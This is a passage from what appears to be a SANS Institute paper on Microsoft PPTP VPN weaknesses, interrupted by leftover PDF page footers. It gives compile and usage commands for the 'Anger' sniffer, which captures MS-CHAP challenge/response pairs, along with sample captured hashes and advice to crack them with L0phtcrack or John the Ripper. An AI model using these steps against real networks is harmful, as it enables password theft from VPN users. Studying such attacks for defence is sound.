Microsoft pptp vpn vulnerabilities Exploits in Action

How to use the exploit:
0

---

© SANS Institute 2000 - 200
                                                5
, Author retains full rights.
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
© SANS Institute 2000 - 200
5                                                                                                                 
Author retains full rights.
39
You will need the Pcap and OpenSSL libraries and header files to 
compile Anger.c.
The correct syntax after these library dependencies have been resolved:
gcc -o anger anger.c in_cksum.c -lcrypto -lpcap
Syntax for using the attack is:
usage: anger [ -v ] [ -d device ] output1
Example:
./anger –v –d eth0 sniffresults.out
-d
Device to open for sniffing.
-v
Some diagnostic information (verbose)
Writes sniffed challenge/responses to sniffresults.out.
Output of the file will be something along the following lines:
VIRTUDOM\TestBox7User (Server 10.0.0.2 Client 
192.168.50.8):0:314357FD599070F2:5CC96E21D78E3F633C1B231647B327A3
0B3E621706F3DD12:43BBBE7E3692D2E19659F45129DD4ADEB2A54055D8
E0AF1E
Then simply import this into your password cracking tool of choice 
(L0phtcrack, John the Ripper, Crack, etc.) and the appropriate “plug-ins” and 
within minutes for many passwords, it will be cracked.